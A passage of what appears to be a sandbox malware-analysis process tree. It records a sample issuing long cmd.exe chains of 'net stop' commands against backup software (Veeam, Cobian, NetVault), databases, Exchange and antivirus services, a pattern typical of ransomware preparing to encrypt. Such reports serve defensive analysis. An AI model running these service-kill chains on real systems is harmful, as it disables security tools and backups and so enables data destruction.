    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeFrontEndTransport
        5⤵
        
        PID:6200
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeFrontEndTransport
        6⤵
        
        PID:6636
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeHM
        5⤵
        
        PID:5268
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeHM
        6⤵
        
        PID:8392
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSSQL$SQL2008
        5⤵
        
        PID:7560
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSSQL$SQL2008
        6⤵
        
        PID:8692
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeHMRecovery
        5⤵
        
        PID:7088
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeHMRecovery
        6⤵
        
        PID:9124
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeImap4
        5⤵
        
        PID:6268
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeImap4
        6⤵
        
        PID:6592
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeIMAP4BE
        5⤵
        
        PID:9104
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeIMAP4BE
        6⤵
        
        PID:6160
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeIS
        5⤵
        
        PID:8860
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeIS
        6⤵
        
        PID:5652
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeMailboxAssistants
        5⤵
        
        PID:276
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeMailboxAssistants
        6⤵
        
        PID:6384
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeMailboxReplication
        5⤵
        
        PID:428
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeMailboxReplication
        6⤵
        
        PID:8140
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeNotificationsBroker
        5⤵
        
        PID:7472
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeNotificationsBroker
        6⤵
        
        PID:5884
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangePop3
        5⤵
        
        PID:7464
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangePop3
        6⤵
        
        PID:7048
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangePOP3BE
        5⤵
        
        PID:8516
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangePOP3BE
        6⤵
        
        PID:9096
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeRepl
        5⤵
        
        PID:4732
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeRepl
        6⤵
        
        PID:6052
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeRPC
        5⤵
        
        PID:9068
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeRPC
        6⤵
        
        PID:8548
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeServiceHost
        5⤵
        
        PID:8696
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeServiceHost
        6⤵
        
        PID:5388
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeSubmission
        5⤵
        
        PID:6492
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeSubmission
        6⤵
        
        PID:7940
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeThrottling
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8300
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeThrottling
        6⤵
        
        PID:680
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeTransport
        5⤵
        
        PID:5468
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeTransport
        6⤵
        
        PID:6644
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeTransportLogSearch
        5⤵
        
        PID:8276
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeTransportLogSearch
        6⤵
        
        PID:8900
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeUM
        5⤵
        
        PID:7492
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeUM
        6⤵
        
        PID:7340
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MSExchangeUMCR
        5⤵
        
        PID:3532
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MSExchangeUMCR
        6⤵
        
        PID:6392
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MySQL5_OA
        5⤵
        
        PID:1588
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MySQL5_OA
        6⤵
        
        PID:7508
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"
      4⤵
      PID:4928
    - - C:\Windows\SysWOW64\net.exe
        
        net stop HaoZipSvc
        5⤵
        
        PID:5248
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop HaoZipSvc
        6⤵
        
        PID:5956
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "igfxCUIService2.0.0.0"
        5⤵
        
        PID:4976
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"
        6⤵
        
        PID:5368
    - - C:\Windows\SysWOW64\net.exe
        
        net stop Realtek11nSU
        5⤵
        
        PID:5600
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Realtek11nSU
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:6100
    - - C:\Windows\SysWOW64\net.exe
        
        net stop xenlite
        5⤵
        
        PID:5512
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop xenlite
        6⤵
        
        PID:5820
    - - C:\Windows\SysWOW64\net.exe
        
        net stop XenSvc
        5⤵
        
        PID:6048
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop XenSvc
        6⤵
        
        PID:5224
    - - C:\Windows\SysWOW64\net.exe
        
        net stop Apache2.2
        5⤵
        
        PID:2032
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Apache2.2
        6⤵
        
        PID:3676
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "Synology Drive VSS Service x64"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5688
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Synology Drive VSS Service x64"
        6⤵
        
        PID:5648
    - - C:\Windows\SysWOW64\net.exe
        
        net stop DellDRLogSvc
        5⤵
        
        PID:6028
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DellDRLogSvc
        6⤵
        
        PID:5900
    - - C:\Windows\SysWOW64\net.exe
        
        net stop FirebirdGuardianDeafaultInstance
        5⤵
        
        PID:9120
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance
        6⤵
        
        PID:9176
    - - C:\Windows\SysWOW64\net.exe
        
        net stop JWEM3DBAUTORun
        5⤵
        
        PID:6256
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop JWEM3DBAUTORun
        6⤵
        
        PID:632
    - - C:\Windows\SysWOW64\net.exe
        
        net stop JWRinfoClientService
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7872
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop JWRinfoClientService
        6⤵
        
        PID:7776
    - - C:\Windows\SysWOW64\net.exe
        
        net stop JWService
        5⤵
        
        PID:8452
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop JWService
        6⤵
        
        PID:7284
    - - C:\Windows\SysWOW64\net.exe
        
        net stop Service2
        5⤵
        
        PID:1120
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Service2
        6⤵
        
        PID:2908
    - - C:\Windows\SysWOW64\net.exe
        
        net stop RapidRecoveryAgent
        5⤵
        
        PID:4700
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RapidRecoveryAgent
        6⤵
        
        PID:6848
    - - C:\Windows\SysWOW64\net.exe
        
        net stop FirebirdServerDefaultInstance
        5⤵
        
        PID:5540
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop FirebirdServerDefaultInstance
        6⤵
        
        PID:8008
    - - C:\Windows\SysWOW64\net.exe
        
        net stop AdobeARMservice
        5⤵
        
        PID:6084
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AdobeARMservice
        6⤵
        
        PID:5292
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamCatalogSvc
        5⤵
        
        PID:5272
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamCatalogSvc
        6⤵
        
        PID:5140
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeanBackupSvc
        5⤵
        
        PID:8668
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeanBackupSvc
        6⤵
        
        PID:6684
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamTransportSvc
        5⤵
        
        PID:6552
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamTransportSvc
        6⤵
        
        PID:7940
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TPlusStdAppService1300
        5⤵
        
        PID:6808
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdAppService1300
        6⤵
        
        PID:8248
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TPlusStdTaskService1300
        5⤵
        
        PID:2864
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdTaskService1300
        6⤵
        
        PID:5496
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TPlusStdUpgradeService1300
        5⤵
        
        PID:8044
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdUpgradeService1300
        6⤵
        
        PID:6192
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TPlusStdWebService1300
        5⤵
        
        PID:1312
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdWebService1300
        6⤵
        
        PID:4700
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamNFSSvc
        5⤵
        
        PID:1052
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamNFSSvc
        6⤵
        
        PID:5248
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamDeploySvc
        5⤵
        
        PID:4428
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamDeploySvc
        6⤵
        
        PID:3656
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamCloudSvc
        5⤵
        
        PID:5484
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamCloudSvc
        6⤵
        
        PID:5992
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamMountSvc
        5⤵
        
        PID:440
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamMountSvc
        6⤵
        
        PID:3132
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamBrokerSvc
        5⤵
        
        PID:1936
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamBrokerSvc
        6⤵
        
        PID:6416
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VeeamDistributionSvc
        5⤵
        
        PID:5632
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VeeamDistributionSvc
        6⤵
        
        PID:7564
    - - C:\Windows\SysWOW64\net.exe
        
        net stop tmlisten
        5⤵
        
        PID:7812
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tmlisten
        6⤵
        
        PID:3512
    - - C:\Windows\SysWOW64\net.exe
        
        net stop ServiceMid
        5⤵
        
        PID:5984
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop ServiceMid
        6⤵
        
        PID:7064
    - - C:\Windows\SysWOW64\net.exe
        
        net stop 360EntPGSvc
        5⤵
        
        PID:6188
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop 360EntPGSvc
        6⤵
        
        PID:2864
    - - C:\Windows\SysWOW64\net.exe
        
        net stop ClickToRunSvc
        5⤵
        
        PID:7448
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop ClickToRunSvc
        6⤵
        
        PID:5144
    - - C:\Windows\SysWOW64\net.exe
        
        net stop RavTask
        5⤵
        
        PID:7728
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RavTask
        6⤵
        
        PID:7172
    - - C:\Windows\SysWOW64\net.exe
        
        net stop AngelOfDeath
        5⤵
        
        PID:5976
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AngelOfDeath
        6⤵
        
        PID:6496
    - - C:\Windows\SysWOW64\net.exe
        
        net stop d_safe
        5⤵
        
        PID:3132
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop d_safe
        6⤵
        
        PID:7608
    - - C:\Windows\SysWOW64\net.exe
        
        net stop NFLicenceServer
        5⤵
        
        PID:9016
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop NFLicenceServer
        6⤵
        
        PID:4948
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "NetVault Process Manager"
        5⤵
        
        PID:4672
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "NetVault Process Manager"
        6⤵
        
        PID:2136
    - - C:\Windows\SysWOW64\net.exe
        
        net stop RavService
        5⤵
        
        PID:8404
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RavService
        6⤵
        
        PID:5264
    - - C:\Windows\SysWOW64\net.exe
        
        net stop DFServ
        5⤵
        
        PID:7044
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DFServ
        6⤵
        
        PID:8804
    - - C:\Windows\SysWOW64\net.exe
        
        net stop IngressMgr
        5⤵
        
        PID:6492
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop IngressMgr
        6⤵
        
        PID:8948
    - - C:\Windows\SysWOW64\net.exe
        
        net stop EvtSys
        5⤵
        
        PID:7160
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop EvtSys
        6⤵
        
        PID:8636
    - - C:\Windows\SysWOW64\net.exe
        
        net stop K3ClouManager
        5⤵
        
        PID:4944
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop K3ClouManager
        6⤵
        
        PID:7200
    - - C:\Windows\SysWOW64\net.exe
        
        net stop NFVPrintServer
        5⤵
        
        PID:7260
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""
      4⤵
      PID:3588
    - - C:\Windows\SysWOW64\net.exe
        
        net stop UIODetect
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5184
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UIODetect
        6⤵
        
        PID:5912
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VMwareHostd
        5⤵
        
        PID:3720
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMwareHostd
        6⤵
        
        PID:5444
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TeamViewer8
        5⤵
        Discovers systems in the same network
        
        PID:5624
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TeamViewer8
        6⤵
        
        PID:5876
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VMUSBArbService
        5⤵
        
        PID:5348
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMUSBArbService
        6⤵
        
        PID:5384
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VMAuthdService
        5⤵
        
        PID:6100
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMAuthdService
        6⤵
        
        PID:1052
    - - C:\Windows\SysWOW64\net.exe
        
        net stop wanxiao-monitor
        5⤵
        
        PID:2132
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wanxiao-monitor
        6⤵
        
        PID:5364
    - - C:\Windows\SysWOW64\net.exe
        
        net stop WebAttendServer
        5⤵
        
        PID:5548
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WebAttendServer
        6⤵
        
        PID:6052
    - - C:\Windows\SysWOW64\net.exe
        
        net stop mysqltransport
        5⤵
        
        PID:3776
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop mysqltransport
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5408
    - - C:\Windows\SysWOW64\net.exe
        
        net stop VMnetDHCP
        5⤵
        
        PID:7056
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop VMnetDHCP
        6⤵
        
        PID:8340
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "VMware NAT Service"
        5⤵
        
        PID:720
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "VMware NAT Service"
        6⤵
        
        PID:6800
    - - C:\Windows\SysWOW64\net.exe
        
        net stop Tomcat8
        5⤵
        
        PID:8992
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop Tomcat8
        6⤵
        
        PID:7888
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TeamViewer
        5⤵
        System Location Discovery: System Language Discovery
        Discovers systems in the same network
        
        PID:5444
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TeamViewer
        6⤵
        
        PID:6864
    - - C:\Windows\SysWOW64\net.exe
        
        net stop QPCore
        5⤵
        
        PID:7352
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop QPCore
        6⤵
        
        PID:7280
    - - C:\Windows\SysWOW64\net.exe
        
        net stop CASLicenceServer
        5⤵
        
        PID:4688
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASLicenceServer
        6⤵
        
        PID:6676
    - - C:\Windows\SysWOW64\net.exe
        
        net stop CASWebServer
        5⤵
        
        PID:6372
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASWebServer
        6⤵
        
        PID:5220
    - - C:\Windows\SysWOW64\net.exe
        
        net stop AutoUpdateService
        5⤵
        
        PID:6984
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AutoUpdateService
        6⤵
        
        PID:7440
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "Alibaba Security Aegis Detect Service"
        5⤵
        
        PID:5372
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"
        6⤵
        
        PID:5632
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "Alibaba Security Aegis Update Service"
        5⤵
        
        PID:7576
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"
        6⤵
        
        PID:7812
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "AliyunService"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8628
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "AliyunService"
        6⤵
        
        PID:8828
    - - C:\Windows\SysWOW64\net.exe
        
        net stop CASXMLService
        5⤵
        
        PID:6404
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASXMLService
        6⤵
        
        PID:6220
    - - C:\Windows\SysWOW64\net.exe
        
        net stop AGSService
        5⤵
        
        PID:8460
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AGSService
        6⤵
        
        PID:6864
    - - C:\Windows\SysWOW64\net.exe
        
        net stop RapService
        5⤵
        
        PID:8996
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop RapService
        6⤵
        
        PID:7396
    - - C:\Windows\SysWOW64\net.exe
        
        net stop DDNSService
        5⤵
        
        PID:7372
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DDNSService
        6⤵
        
        PID:6528
    - - C:\Windows\SysWOW64\net.exe
        
        net stop iNethinkSQLBackupSvc
        5⤵
        
        PID:8024
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop iNethinkSQLBackupSvc
        6⤵
        
        PID:7024
    - - C:\Windows\SysWOW64\net.exe
        
        net stop CASVirtualDiskService
        5⤵
        
        PID:6244
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASVirtualDiskService
        6⤵
        
        PID:7172
    - - C:\Windows\SysWOW64\net.exe
        
        net stop CASMsgSrv
        5⤵
        
        PID:7608
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop CASMsgSrv
        6⤵
        
        PID:8012
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "OracleOraDb10g_homeliSQL*Plus"
        5⤵
        
        PID:7992
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "OracleOraDb10g_homeliSQL*Plus"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2872
    - - C:\Windows\SysWOW64\net.exe
        
        net stop OracleDBConsoleilas
        5⤵
        
        PID:6588
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop OracleDBConsoleilas
        6⤵
        
        PID:5552
    - - C:\Windows\SysWOW64\net.exe
        
        net stop MySQL
        5⤵
        
        PID:6860
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop MySQL
        6⤵
        
        PID:2716
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TPlusStdAppService1220
        5⤵
        
        PID:7928
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdAppService1220
        6⤵
        
        PID:6472
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TPlusStdTaskService1220
        5⤵
        
        PID:7692
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdTaskService1220
        6⤵
        
        PID:8240
    - - C:\Windows\SysWOW64\net.exe
        
        net stop TPlusStdUpgradeService1220
        5⤵
        
        PID:5348
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop TPlusStdUpgradeService1220
        6⤵
        
        PID:5424
    - - C:\Windows\SysWOW64\net.exe
        
        net stop K3MobileServiceManage
        5⤵
        
        PID:7668
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop K3MobileServiceManage
        6⤵
        
        PID:4256
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "FileZilla Server"
        5⤵
        
        PID:8120
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "FileZilla Server"
        6⤵
        
        PID:7396
    - - C:\Windows\SysWOW64\net.exe
        
        net stop DDVRulesProcessor
        5⤵
        
        PID:776
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop DDVRulesProcessor
        6⤵
        
        PID:4168
    - - C:\Windows\SysWOW64\net.exe
        
        net stop ImtsEventSvr
        5⤵
        
        PID:5820
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop ImtsEventSvr
        6⤵
        
        PID:7312
    - - C:\Windows\SysWOW64\net.exe
        
        net stop AutoUpdatePatchService
        5⤵
        
        PID:8468
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop AutoUpdatePatchService
        6⤵
        
        PID:5040
    - - C:\Windows\SysWOW64\net.exe
        
        net stop OMAILREPORT
        5⤵
        
        PID:4784
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop OMAILREPORT
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5540
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "Dell Hardware Support"
        5⤵
        
        PID:5136
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Dell Hardware Support"
        6⤵
        
        PID:5316
    - - C:\Windows\SysWOW64\net.exe
        
        net stop SupportAssistAgent
        5⤵
        
        PID:4996
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop SupportAssistAgent
        6⤵
        
        PID:7188
    - - C:\Windows\SysWOW64\net.exe
        
        net stop K3MMainSuspendService
        5⤵
        
        PID:6732
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop K3MMainSuspendService
        6⤵
        
        PID:1708
    - - C:\Windows\SysWOW64\net.exe
        
        net stop KpService
        5⤵
        
        PID:2236
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop KpService
        6⤵
        
        PID:6340
    - - C:\Windows\SysWOW64\net.exe
        
        net stop ceng_web_svc_d
        5⤵
        
        PID:6320
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop ceng_web_svc_d
        6⤵
        
        PID:3052
    - - C:\Windows\SysWOW64\net.exe
        
        net stop KugouService
        5⤵
        
        PID:8908
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop KugouService
        6⤵
        
        PID:8624
    - - C:\Windows\SysWOW64\net.exe
        
        net stop pcas
        5⤵
        
        PID:6804
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop pcas
        6⤵
        
        PID:8352
    - - C:\Windows\SysWOW64\net.exe
        
        net stop U8SendMailAdmin
        5⤵
        
        PID:4776
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop U8SendMailAdmin
